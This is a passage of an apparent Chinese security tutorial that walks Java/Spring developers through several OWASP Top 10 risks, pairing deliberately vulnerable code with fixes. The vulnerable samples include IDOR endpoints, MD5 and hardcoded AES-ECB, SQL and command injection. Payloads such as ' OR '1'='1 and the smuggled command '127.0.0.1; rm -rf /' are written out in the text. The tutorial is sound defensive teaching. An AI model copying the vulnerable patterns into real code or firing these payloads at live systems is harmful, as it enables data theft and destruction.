别让你的 Java 应用裸奔!OWASP Top10 全漏洞原理、复现与一站式防护方案

简介: 本文详解Java应用十大安全风险(OWASP Top10),涵盖失效访问控制、加密失效、注入攻击等核心漏洞的原理、复现代码及防护方案,结合Spring生态最佳实践,助力开发者构建高安全性企业级系统。

Java作为企业级开发的主流语言,广泛应用于金融、电商、政务等核心系统,一旦出现安全漏洞,会直接造成数据泄露、资产损失、合规处罚等严重后果。OWASP(开放式Web应用安全项目)发布的Top10榜单,是全球公认的Web应用安全风险权威指南,也是Java开发者必须掌握的安全核心知识。

一、失效的访问控制(Broken Access Control)

失效的访问控制位列OWASP Top10 2021榜首,是企业级应用最常见的安全风险。访问控制的核心是“用户不能执行超出其权限的操作”,而失效的本质是权限校验逻辑被绕过或失效,导致越权操作。

底层原理

先明确两个核心概念的边界:认证是验证“你是谁”,授权是验证“你能做什么”,访问控制属于授权环节。其失效的底层逻辑是:服务端没有对每一个受保护的接口/资源,执行基于用户身份的、不可绕过的权限校验,仅依赖前端隐藏按钮、路由拦截等客户端控制,或权限校验逻辑存在可被利用的缺陷。

常见的失效场景分为三类:

  • 水平越权:同角色用户访问他人的私有数据,比如用户A查看用户B的订单
  • 垂直越权:普通用户访问管理员专属功能,比如普通用户获取全量用户列表
  • 未授权访问:直接绕过登录,访问需要权限的接口或资源

漏洞复现

1. 水平越权漏洞示例

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/order")
public class OrderController {

   private final OrderService orderService;

   public OrderController(OrderService orderService) {
       this.orderService = orderService;
   }

   // 漏洞点:仅从路径获取订单ID,未校验当前登录用户是否为订单所属人
   @GetMapping("/{orderId}")
   public Order getOrderDetail(@PathVariable Long orderId) {
       return orderService.getOrderById(orderId);
   }
}

攻击者只需修改路径中的orderId,即可遍历查询所有用户的订单数据,造成敏感信息泄露。

2. 垂直越权漏洞示例

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;

@RestController
@RequestMapping("/api/admin")
public class AdminController {

   private final UserService userService;

   public AdminController(UserService userService) {
       this.userService = userService;
   }

   // 漏洞点:未做任何权限校验,任何登录用户都能访问管理员接口
   @GetMapping("/users")
   public List<User> getAllUserList() {
       return userService.getAllUsers();
   }
}

漏洞触发流程

防护方案

1. 服务端强制权限校验

所有接口必须在服务端执行权限校验,绝对不能仅依赖前端控制。修复水平越权的正确代码如下:

import org.springframework.security.core.Authentication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/order")
public class OrderController {

   private final OrderService orderService;

   public OrderController(OrderService orderService) {
       this.orderService = orderService;
   }

   // 修复方案:从当前登录上下文获取用户ID,联合订单ID查询,确保订单归属
   @GetMapping("/{orderId}")
   public Order getOrderDetail(@PathVariable Long orderId, Authentication authentication) {
       Long loginUserId = Long.valueOf(authentication.getName());
       return orderService.getOrderByIdAndUserId(orderId, loginUserId);
   }
}

对应DAO层必须使用select * from t_order where id = #{orderId} and user_id = #{userId}的查询逻辑,不能仅通过订单ID查询。

2. 基于RBAC的统一权限控制

使用Spring Security等成熟安全框架,实现基于角色的访问控制(RBAC),从框架层面统一管理接口权限,避免人为疏漏。Spring Security 6的标准配置如下:

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.SecurityFilterChain;

@Configuration
@EnableWebSecurity
public class SecurityConfig {

   @Bean
   public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
       http
           .authorizeHttpRequests(auth -> auth
               .requestMatchers("/api/auth/**").permitAll()
               .requestMatchers("/api/admin/**").hasRole("ADMIN")
               .anyRequest().authenticated()
           )
           .sessionManagement(session -> session
               .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
           )
           .csrf(csrf -> csrf.disable());
       return http.build();
   }
}

3. 核心防护原则

  • 最小权限原则:仅给用户分配完成业务所需的最小权限,默认拒绝所有访问,仅开放必要接口
  • 禁止路径穿越:文件下载、静态资源访问接口,必须限制访问范围,禁止直接拼接用户传入的路径参数
  • 统一权限校验:避免每个接口单独编写权限校验逻辑,使用框架层面的统一拦截器或AOP实现

二、加密机制失效(Cryptographic Failures)

加密机制失效位列OWASP Top10 2021第二位,其前身是“敏感数据泄露”,更名的核心原因是:敏感数据泄露的根源,几乎都是加密机制的设计或实现存在缺陷。

底层原理

加密机制失效的本质是:应用在处理敏感数据(密码、手机号、身份证、银行卡等)的全生命周期(传输、存储、使用、销毁)中,没有遵循密码学最佳实践,使用了不安全的算法、弱密钥、错误的加密模式,或未对敏感数据做分类分级保护,导致敏感数据被明文暴露、破解或篡改。

漏洞复现

1. 不安全的密码存储示例

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.security.MessageDigest;

@RestController
@RequestMapping("/api/auth")
public class AuthController {

   private final UserService userService;

   public AuthController(UserService userService) {
       this.userService = userService;
   }

   // 漏洞点:使用已被破解的MD5算法加密密码,可通过彩虹表快速反查
   @PostMapping("/register")
   public String register(@RequestBody UserRegisterDTO dto) throws Exception {
       MessageDigest md = MessageDigest.getInstance("MD5");
       byte[] hash = md.digest(dto.getPassword().getBytes());
       StringBuilder hexString = new StringBuilder();
       for (byte b : hash) {
           String hex = Integer.toHexString(0xff & b);
           if (hex.length() == 1) hexString.append('0');
           hexString.append(hex);
       }
       User user = new User();
       user.setUsername(dto.getUsername());
       user.setPassword(hexString.toString());
       userService.save(user);
       return "注册成功";
   }
}

2. 不安全的对称加密示例

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class InsecureAESUtil {
   // 漏洞点1:硬编码密钥在代码中,代码泄露直接导致密钥暴露
   private static final String FIXED_KEY = "1234567890123456";
   // 漏洞点2:使用ECB模式,不提供语义安全性,相同明文加密结果一致,易被破解
   private static final String ALGORITHM = "AES/ECB/PKCS5Padding";

   public static String encrypt(String content) throws Exception {
       SecretKeySpec keySpec = new SecretKeySpec(FIXED_KEY.getBytes(), "AES");
       Cipher cipher = Cipher.getInstance(ALGORITHM);
       cipher.init(Cipher.ENCRYPT_MODE, keySpec);
       byte[] encrypted = cipher.doFinal(content.getBytes());
       return Base64.getEncoder().encodeToString(encrypted);
   }

   public static String decrypt(String encryptedContent) throws Exception {
       SecretKeySpec keySpec = new SecretKeySpec(FIXED_KEY.getBytes(), "AES");
       Cipher cipher = Cipher.getInstance(ALGORITHM);
       cipher.init(Cipher.DECRYPT_MODE, keySpec);
       byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(encryptedContent));
       return new String(decrypted);
   }
}

防护方案

1. 密码存储的正确实践

密码属于不可逆敏感数据,绝对不能明文存储,也不能使用MD5、SHA-1、SHA-256等快速哈希算法,必须使用BCrypt、SCrypt、Argon2等专为密码存储设计的慢哈希算法,这类算法自带随机盐值,计算速度慢,能有效抵御彩虹表和暴力破解。

Spring Security标准密码加密配置:

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;

@Configuration
public class PasswordConfig {
   // 工作因子设为12,可根据服务器性能调整,数值越大破解难度越高
   @Bean
   public PasswordEncoder passwordEncoder() {
       return new BCryptPasswordEncoder(12);
   }
}

正确的密码处理代码:

import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/auth")
public class AuthController {

   private final UserService userService;
   private final PasswordEncoder passwordEncoder;

   public AuthController(UserService userService, PasswordEncoder passwordEncoder) {
       this.userService = userService;
       this.passwordEncoder = passwordEncoder;
   }

   @PostMapping("/register")
   public String register(@RequestBody UserRegisterDTO dto) {
       User user = new User();
       user.setUsername(dto.getUsername());
       // BCrypt自带随机盐值,每次加密相同密码生成的哈希值均不同
       user.setPassword(passwordEncoder.encode(dto.getPassword()));
       userService.save(user);
       return "注册成功";
   }

   @PostMapping("/login")
   public String login(@RequestBody UserLoginDTO dto) {
       User user = userService.findByUsername(dto.getUsername());
       if (user == null) {
           return "用户名或密码错误";
       }
       // 无需手动解密,使用matches方法自动校验密码
       if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
           return "用户名或密码错误";
       }
       return "登录成功";
   }
}

2. 对称加密的正确实践

对于需要解密还原的敏感数据(如手机号、身份证号),必须使用AES-GCM认证加密模式,该模式同时提供加密和完整性校验能力,密钥长度至少256位,密钥必须从配置中心或密钥管理服务(KMS)获取,绝对不能硬编码。

安全的AES-GCM工具类:

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;

public class SecureAESUtil {
   private static final String ALGORITHM = "AES/GCM/NoPadding";
   private static final int KEY_SIZE = 256;
   private static final int GCM_IV_LENGTH = 12;
   private static final int GCM_TAG_LENGTH = 128;

   private final SecretKey secretKey;

   // 密钥从配置中心/KMS获取,禁止硬编码
   public SecureAESUtil(String base64Key) {
       byte[] keyBytes = Base64.getDecoder().decode(base64Key);
       this.secretKey = new SecretKeySpec(keyBytes, "AES");
   }

   // 生成256位安全密钥,仅用于初始化密钥时使用
   public static String generateAESKey() throws Exception {
       KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
       keyGenerator.init(KEY_SIZE, SecureRandom.getInstanceStrong());
       SecretKey secretKey = keyGenerator.generateKey();
       return Base64.getEncoder().encodeToString(secretKey.getEncoded());
   }

   public String encrypt(String content) throws Exception {
       byte[] contentBytes = content.getBytes();
       // 生成12字节随机IV,GCM标准推荐长度
       byte[] iv = new byte[GCM_IV_LENGTH];
       SecureRandom secureRandom = SecureRandom.getInstanceStrong();
       secureRandom.nextBytes(iv);
       GCMParameterSpec parameterSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
       Cipher cipher = Cipher.getInstance(ALGORITHM);
       cipher.init(Cipher.ENCRYPT_MODE, secretKey, parameterSpec);
       byte[] encrypted = cipher.doFinal(contentBytes);
       // IV无需保密,和密文拼接存储,解密时使用
       byte[] combined = new byte[iv.length + encrypted.length];
       System.arraycopy(iv, 0, combined, 0, iv.length);
       System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length);
       return Base64.getEncoder().encodeToString(combined);
   }

   public String decrypt(String encryptedContent) throws Exception {
       byte[] combined = Base64.getDecoder().decode(encryptedContent);
       // 提取前12字节IV
       byte[] iv = new byte[GCM_IV_LENGTH];
       System.arraycopy(combined, 0, iv, 0, iv.length);
       // 提取加密内容
       byte[] encrypted = new byte[combined.length - iv.length];
       System.arraycopy(combined, iv.length, encrypted, 0, encrypted.length);
       GCMParameterSpec parameterSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
       Cipher cipher = Cipher.getInstance(ALGORITHM);
       cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec);
       byte[] decrypted = cipher.doFinal(encrypted);
       return new String(decrypted);
   }
}

3. 核心防护原则

  • 敏感数据分类分级:非必要不采集、不存储敏感数据,对不同级别的敏感数据采用差异化保护策略
  • 传输层加密:全站启用HTTPS,使用TLS 1.3协议,禁用TLS 1.0/1.1等不安全协议
  • 敏感数据脱敏:日志、接口返回、前端展示时,对敏感数据做脱敏处理,示例如下:

public class SensitiveDataUtil {
   // 手机号脱敏:保留前3位和后4位
   public static String maskPhone(String phone) {
       if (phone == null || phone.length() != 11) return phone;
       return phone.replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2");
   }

   // 身份证号脱敏:保留前6位和后4位
   public static String maskIdCard(String idCard) {
       if (idCard == null || idCard.length() != 18) return idCard;
       return idCard.replaceAll("(\\d{6})\\d{8}(\\d{4})", "$1********$2");
   }
}

  • 禁用不安全算法:JVM层面禁用MD5、SHA-1、DES、3DES、RC4等已被破解的算法

三、注入攻击(Injection)

注入攻击位列OWASP Top10 2021第三位,最常见的类型为SQL注入,同时包含命令注入、EL表达式注入、OGNL注入等多种形式,是历史最悠久、危害最严重的安全漏洞之一。

底层原理

注入攻击的核心本质是数据和指令没有分离,应用将用户可控的输入未经校验和转义,直接拼接到命令或查询语句中,作为指令的一部分执行,导致攻击者可以构造恶意输入,改变原有语句的执行逻辑,执行非授权操作。

漏洞复现

1. SQL注入漏洞示例

最基础的Statement拼接SQL场景:

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

@RestController
@RequestMapping("/api/user")
public class UserController {

   private final String DB_URL = "jdbc:mysql://localhost:3306/test";
   private final String DB_USER = "root";
   private final String DB_PASSWORD = "root";

   // 漏洞点:用户输入的username直接拼接到SQL语句,无任何转义
   @GetMapping("/list")
   public List<User> getUserList(@RequestParam String username) throws Exception {
       List<User> userList = new ArrayList<>();
       Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
       Statement stmt = conn.createStatement();
       String sql = "SELECT id, username, phone FROM t_user WHERE username = '" + username + "'";
       ResultSet rs = stmt.executeQuery(sql);
       while (rs.next()) {
           User user = new User();
           user.setId(rs.getLong("id"));
           user.setUsername(rs.getString("username"));
           user.setPhone(rs.getString("phone"));
           userList.add(user);
       }
       rs.close();
       stmt.close();
       conn.close();
       return userList;
   }
}

攻击者输入' OR '1'='1,拼接后的SQL变为SELECT id, username, phone FROM t_user WHERE username = '' OR '1'='1',会查询出全量用户数据,造成脱库;输入'; DROP TABLE t_user; --可直接删除数据表。

MyBatis中错误使用${}的场景:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
   <!-- 漏洞点:使用${}直接拼接用户输入,无转义处理 -->
   <select id="getUserByUsername" resultType="com.example.entity.User">
       SELECT id, username, phone FROM t_user WHERE username = ${username}
   </select>

   <!-- 漏洞点:排序字段使用${},无白名单校验 -->
   <select id="getUserListOrderBy" resultType="com.example.entity.User">
       SELECT id, username, phone FROM t_user ORDER BY ${orderBy} ${sortType}
   </select>
</mapper>

2. 命令注入漏洞示例

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStreamReader;

@RestController
@RequestMapping("/api/system")
public class SystemController {

   // 漏洞点:用户输入的ip直接拼接到系统命令,无任何校验
   @GetMapping("/ping")
   public String ping(@RequestParam String ip) throws Exception {
       Process process = Runtime.getRuntime().exec("ping -c 4 " + ip);
       BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
       StringBuilder result = new StringBuilder();
       String line;
       while ((line = reader.readLine()) != null) {
           result.append(line).append("\n");
       }
       return result.toString();
   }
}

攻击者输入127.0.0.1; rm -rf /,会执行ping -c 4 127.0.0.1; rm -rf /,删除服务器所有文件,造成毁灭性后果。

漏洞触发与防护流程

防护方案

1. SQL注入的核心防护

使用预编译语句是SQL注入最根本的防护方案,预编译会将SQL语句的结构和参数完全分离,用户输入的参数只会被当作数据处理,不会改变SQL语句的结构。

正确的PreparedStatement示例:

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;

@RestController
@RequestMapping("/api/user")
public class UserController {

   private final String DB_URL = "jdbc:mysql://localhost:3306/test";
   private final String DB_USER = "root";
   private final String DB_PASSWORD = "root";

   @GetMapping("/list")
   public List<User> getUserList(@RequestParam String username) throws Exception {
       List<User> userList = new ArrayList<>();
       Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
       // 预编译SQL,参数用?占位
       String sql = "SELECT id, username, phone FROM t_user WHERE username = ?";
       PreparedStatement pstmt = conn.prepareStatement(sql);
       // 设置参数,PreparedStatement会自动转义特殊字符
       pstmt.setString(1, username);
       ResultSet rs = pstmt.executeQuery();
       while (rs.next()) {
           User user = new User();
           user.setId(rs.getLong("id"));
           user.setUsername(rs.getString("username"));
           user.setPhone(rs.getString("phone"));
           userList.add(user);
       }
       rs.close();
       pstmt.close();
       conn.close();
       return userList;
   }
}

MyBatis的正确使用规范:

  • 优先使用#{}#{}会采用预编译处理,自动转义特殊字符,从根源上避免SQL注入
  • 必须使用${}的场景(如排序字段、表名),必须做严格的白名单校验,仅允许预设的合法值

正确的Mapper.xml与配套校验代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
   <select id="getUserByUsername" resultType="com.example.entity.User">
       SELECT id, username, phone FROM t_user WHERE username = #{username}
   </select>

   <select id="getUserListOrderBy" resultType="com.example.entity.User">
       SELECT id, username, phone FROM t_user ORDER BY ${orderBy} ${sortType}
   </select>
</mapper>

import org.springframework.stereotype.Service;
import java.util.Arrays;
import java.util.List;

@Service
public class UserService {

   private final UserMapper userMapper;
   // 排序字段白名单
   private static final List<String> ALLOWED_ORDER_FIELDS = Arrays.asList("id", "username", "create_time");
   // 排序类型白名单
   private static final List<String> ALLOWED_SORT_TYPES = Arrays.asList("ASC", "DESC");

   public UserService(UserMapper userMapper) {
       this.userMapper = userMapper;
   }

   public List<User> getUserListOrderBy(String orderBy, String sortType) {
       // 白名单校验,非法参数直接抛出异常
       if (!ALLOWED_ORDER_FIELDS.contains(orderBy)) {
           throw new IllegalArgumentException("非法的排序字段");
       }
       if (!ALLOWED_SORT_TYPES.contains(sortType.toUpperCase())) {
           throw new IllegalArgumentException("非法的排序类型");
       }
       return userMapper.getUserListOrderBy(orderBy, sortType);
   }
}

2. 命令注入的核心防护

  • 优先使用Java API替代系统命令,如ping操作可使用InetAddress.isReachable()实现,无需执行系统命令
  • 必须执行系统命令时,使用ProcessBuilder将命令和参数完全分离,避免shell解析
  • 对用户输入做严格的白名单校验,仅允许合法字符,禁止出现分号、&、|等特殊字符

正确的命令执行示例:

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.regex.Pattern;

@RestController
@RequestMapping("/api/system")
public class SystemController {

   // IP地址正则白名单,仅允许合法IP格式
   private static final Pattern IP_PATTERN = Pattern.compile("^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$");

   @GetMapping("/ping")
   public String ping(@RequestParam String ip) throws Exception {
       // 第一步:严格校验输入格式
       if (!IP_PATTERN.matcher(ip).matches()) {
           throw new IllegalArgumentException("非法的IP地址");
       }
       // 第二步:使用ProcessBuilder分离命令和参数,避免shell解析
       ProcessBuilder processBuilder = new ProcessBuilder("ping", "-c", "4", ip);
       processBuilder.redirectErrorStream(true);
       Process process = processBuilder.start();
       BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
       StringBuilder result = new StringBuilder();
       String line;
       while ((line = reader.readLine()) != null) {
           result.append(line).append("\n");
       }
       return result.toString();
   }
}

3. 核心防护原则

  • 永远不要信任用户输入,所有用户可控的参数都必须做校验和处理
  • 输入校验采用白名单原则,仅允许合法的字符和格式,拒绝所有非法输入
  • 数据库账号遵循最小权限原则,仅给业务必需的权限,禁止给DROP、ALTER等高危权限

四、不安全的设计(Insecure Design)

不安全的设计是OWASP Top10 2021新增的核心类别,位列第四,也是很多开发者最容易忽略的风险。它与代码实现缺陷不同,指的是应用在设计阶段就存在根本性的安全缺陷,即使代码写得再规范,也无法避免安全问题。

底层原理

不安全的设计的核心本质是:安全是设计出来的,不是后期补出来的。应用在需求分析、架构设计、业务流程设计阶段,没有融入安全思维,缺少安全设计模式、威胁建模和必要的安全控制,导致应用天生就存在安全缺陷,后期的代码实现无法弥补根本性的设计漏洞。

常见的不安全设计场景:

  • 业务流程设计缺陷,如密码找回流程可被绕过,攻击者可重置任意用户密码
  • 缺少防暴力破解、防重放攻击的设计
  • 敏感操作没有二次身份校验
  • 信任前端传入的核心参数,服务端未做重新校验
  • 未做威胁建模,未识别业务中的核心安全风险

漏洞复现

最常见的密码找回流程设计缺陷:

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpSession;

@RestController
@RequestMapping("/api/auth")
public class PasswordResetController {

   private final UserService userService;
   private final SmsService smsService;

   public PasswordResetController(UserService userService, SmsService smsService) {
       this.userService = userService;
       this.smsService = smsService;
   }

   @PostMapping("/send-reset-code")
   public String sendResetCode(@RequestBody SendCodeDTO dto, HttpSession session) {
       String phone = dto.getPhone();
       String code = smsService.generateCode();
       smsService.sendSms(phone, "您的密码重置验证码是:" + code);
       session.setAttribute("reset_code_" + phone, code);
       return "验证码发送成功";
   }

   // 核心设计缺陷:
   // 1. 未校验手机号与验证码的归属,攻击者可用自己的验证码修改他人密码
   // 2. 验证码使用后未失效,可重复使用
   // 3. 无有效期、发送频率限制,可暴力枚举
   @PostMapping("/reset-password")
   public String resetPassword(@RequestBody ResetPasswordDTO dto, HttpSession session) {
       String phone = dto.getPhone();
       String inputCode = dto.getCode();
       String newPassword = dto.getNewPassword();
       String correctCode = (String) session.getAttribute("reset_code_" + phone);
       if (correctCode == null || !correctCode.equals(inputCode)) {
           return "验证码错误";
       }
       User user = userService.findByPhone(phone);
       if (user == null) {
           return "用户不存在";
       }
       user.setPassword(newPassword);
       userService.save(user);
       return "密码重置成功";
   }
}

安全的业务流程设计

防护方案

1. 安全的密码找回流程实现

import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.concurrent.TimeUnit;

@RestController
@RequestMapping("/api/auth")
public class PasswordResetController {

   private final UserService userService;
   private final SmsService smsService;
   private final RedisTemplate<String, String> redisTemplate;
   private final PasswordEncoder passwordEncoder;

   private static final String RESET_CODE_PREFIX = "reset_code:";
   private static final long CODE_EXPIRE_MINUTES = 5;
   private static final String SEND_LIMIT_PREFIX = "send_limit:";
   private static final long SEND_INTERVAL_SECONDS = 60;
   private static final int MAX_SEND_COUNT_PER_HOUR = 5;
   private static final String SEND_COUNT_PREFIX = "send_count:";

   public PasswordResetController(UserService userService, SmsService smsService, RedisTemplate<String, String> redisTemplate, PasswordEncoder passwordEncoder) {
       this.userService = userService;
       this.smsService = smsService;
       this.redisTemplate = redisTemplate;
       this.passwordEncoder = passwordEncoder;
   }

   @PostMapping("/send-reset-code")
   public String sendResetCode(@RequestBody SendCodeDTO dto) {
       String phone = dto.getPhone();
       // 1. 校验手机号是否注册
       User user = userService.findByPhone(phone);
       if (user == null) {
           return "该手机号未注册";
       }
       // 2. 校验发送频率,1分钟内仅可发送1次
       String intervalKey = SEND_LIMIT_PREFIX + phone;
       if (Boolean.TRUE.equals(redisTemplate.hasKey(intervalKey))) {
           return "验证码发送太频繁,请稍后再试";
       }
       // 3. 校验1小时内发送次数,最多5次
       String countKey = SEND_COUNT_PREFIX + phone;
       Long count = redisTemplate.opsForValue().increment(countKey);
       if (count == 1) {
           redisTemplate.expire(countKey, 1, TimeUnit.HOURS);
       }
       if (count > MAX_SEND_COUNT_PER_HOUR) {
           return "该手机号今日获取验证码次数已达上限,请24小时后再试";
       }
       // 4. 生成6位数字验证码
       String code = smsService.generate6DigitCode();
       // 5. 存储验证码到Redis,设置5分钟有效期
       String codeKey = RESET_CODE_PREFIX + phone;
       redisTemplate.opsForValue().set(codeKey, code, CODE_EXPIRE_MINUTES, TimeUnit.MINUTES);
       // 6. 设置发送频率限制
       redisTemplate.opsForValue().set(intervalKey, "1", SEND_INTERVAL_SECONDS, TimeUnit.SECONDS);
       // 7. 发送短信
       smsService.sendSms(phone, "您的密码重置验证码是:" + code + ",有效期5分钟,请勿泄露给他人");
       return "验证码发送成功";
   }

   @PostMapping("/reset-password")
   public String resetPassword(@RequestBody ResetPasswordDTO dto) {
       String phone = dto.getPhone();
       String inputCode = dto.getCode();
       String newPassword = dto.getNewPassword();
       // 1. 校验参数合法性
       if (phone == null || inputCode == null || newPassword == null) {
           return "参数不完整";
       }
       // 2. 从Redis获取正确的验证码
       String codeKey = RESET_CODE_PREFIX + phone;
       String correctCode = redisTemplate.opsForValue().get(codeKey);
       if (correctCode == null) {
           return "验证码已过期,请重新获取";
       }
       // 3. 校验验证码是否正确
       if (!correctCode.equals(inputCode)) {
           return "验证码错误";
       }
       // 4. 校验通过后立即删除验证码,确保仅可使用一次
       redisTemplate.delete(codeKey);
       // 5. 校验用户是否存在
       User user = userService.findByPhone(phone);
       if (user == null) {
           return "用户不存在";
       }
       // 6. 校验密码复杂度
       if (!checkPasswordComplexity(newPassword)) {
           return "密码复杂度不符合要求,需包含大小写字母、数字和特殊字符,长度至少8位";
       }
       // 7. 加密新密码并更新
       user.setPassword(passwordEncoder.encode(newPassword));
       userService.save(user);
       // 8. 注销该用户所有登录token,强制重新登录
       userService.logoutAllDevices(user.getId());
       // 9. 发送密码修改通知
       smsService.sendSms(phone, "您的账号密码已成功修改,如非本人操作,请立即联系客服");
       return "密码重置成功,请使用新密码登录";
   }

   private boolean checkPasswordComplexity(String password) {
       if (password.length() < 8) return false;
       boolean hasUpper = false, hasLower = false, hasDigit = false, hasSpecial = false;
       for (char c : password.toCharArray()) {
           if (Character.isUpperCase(c)) hasUpper = true;
           else if (Character.isLowerCase(c)) hasLower = true;
           else if (Character.isDigit(c)) hasDigit = true;
           else hasSpecial = true;
       }
       return hasUpper && hasLower && hasDigit && hasSpecial;
   }
}

2. 核心防护原则

  • 安全左移:在需求分析、设计阶段就融入安全思维,开展威胁建模,识别业务中的安全风险
  • 核心敏感操作二次校验:转账、修改密码、注销账号等敏感操作,必须做二次身份校验
  • 防暴力破解设计:登录、验证码等接口必须做频率限制、账号锁定、验证码机制
  • 防重放攻击设计:核心接口必须设计幂等性机制,使用唯一订单号、nonce+时间戳确保请求仅可执行一次
  • 最小权限原则:架构设计、业务设计中,始终遵循最小权限原则,仅开放必要的功能和权限

五、安全配置错误(Security Misconfiguration)

安全配置错误位列OWASP Top10 2021第五位,是最普遍的安全风险,超过80%的应用都存在不同程度的安全配置错误。

底层原理

安全配置错误的本质是:应用、服务器、数据库、中间件、框架等全链路的配置不符合安全要求,使用了不安全的默认配置,或缺少必要的安全配置,导致应用暴露在安全风险中。安全是一个全链路的体系,任何一个环节的配置错误,都可能导致整个安全防线被突破。

常见的安全配置错误场景:

  • 使用默认账号和密码,如Tomcat管理账号、数据库默认root密码
  • 对外暴露Spring Boot Actuator敏感端点、Swagger文档等内部资源
  • 跨域配置错误,设置Access-Control-Allow-Origin: *允许所有域名跨域访问
  • 错误页面返回完整堆栈信息,泄露应用路径、框架版本等敏感信息
  • 未配置HTTP安全响应头,导致XSS、点击劫持等攻击
  • 云服务存储桶设置为公开访问,导致敏感数据泄露

漏洞复现

1. Spring Boot Actuator端点对外暴露

management:
 endpoints:
   web:
     exposure:
       include: "*" # 暴露所有Actuator端点
 endpoint:
   env:
     enabled: true
   heapdump:
     enabled: true

/env端点会泄露数据库密码、密钥等所有配置信息,/heapdump端点可下载应用堆内存快照,攻击者可从中提取所有敏感信息。

2. 不安全的跨域配置

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class CorsConfig implements WebMvcConfigurer {

   @Override
   public void addCorsMappings(CorsRegistry registry) {
       registry.addMapping("/**")
               .allowedOriginPatterns("*") // 允许所有域名
               .allowedMethods("*") // 允许所有HTTP方法
               .allowCredentials(true) // 允许携带Cookie
               .maxAge(3600);
   }
}

该配置允许所有域名携带Cookie跨域访问,攻击者可在恶意网站构造跨域请求,获取用户登录后的敏感数据,执行CSRF攻击。

防护方案

1. 最小化配置原则

关闭所有不必要的功能、端口、端点,仅保留业务必需的能力。Spring Boot Actuator的安全配置示例:

management:
 endpoints:
   web:
     exposure:
       include: health # 仅暴露健康检查端点
 endpoint:
   health:
     show-details: never # 对外仅返回up/down状态,不展示详细信息
 server:
